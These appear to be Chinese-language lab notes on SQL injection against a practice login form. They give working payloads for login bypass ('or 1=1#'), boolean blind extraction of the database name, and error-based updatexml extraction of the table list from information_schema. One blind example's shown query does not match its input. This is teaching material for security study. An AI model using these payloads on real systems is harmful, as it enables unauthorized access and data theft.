賬號密碼登入介面

後台**：

select username, password from users where username='$uname' and password='$passwd' limit 0,1

輸入賬號：dumb 密碼：dumb2

select username, password from users where username='dumb' and password='dumb2' limit 0,1

繞過登入：

輸入賬號：aaa 密碼：1' or 1=1#

select username, password from users where username='aaa' and password='1' or 1=1#' limit 0,1

sql注入1：盲注

輸入賬號：dumb 密碼：dumb' and length(database())=8#

select username, password from users where username='dumb' and password='dumb' and length(database())=8#' limit 0,1

security

輸入賬號：dumb 密碼：dumb' and ascii(substr(database(),1,1))=115#

select username, password from users where username='dumb' and password='dumb' and ascii(substr(database(),2,1))=115# limit 0,1

sql注入2：報錯

輸入賬號：aaa 密碼：aaa' and updatexml(1,concat(0x23,database()),1)#

select username, password from users where username='aaa' and password='aaa' and updatexml(1,concat(0x23,database()),1)#' limit 0,1

輸入賬號：aaa 密碼：aaa' and updatexml(1,concat(0x23,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)#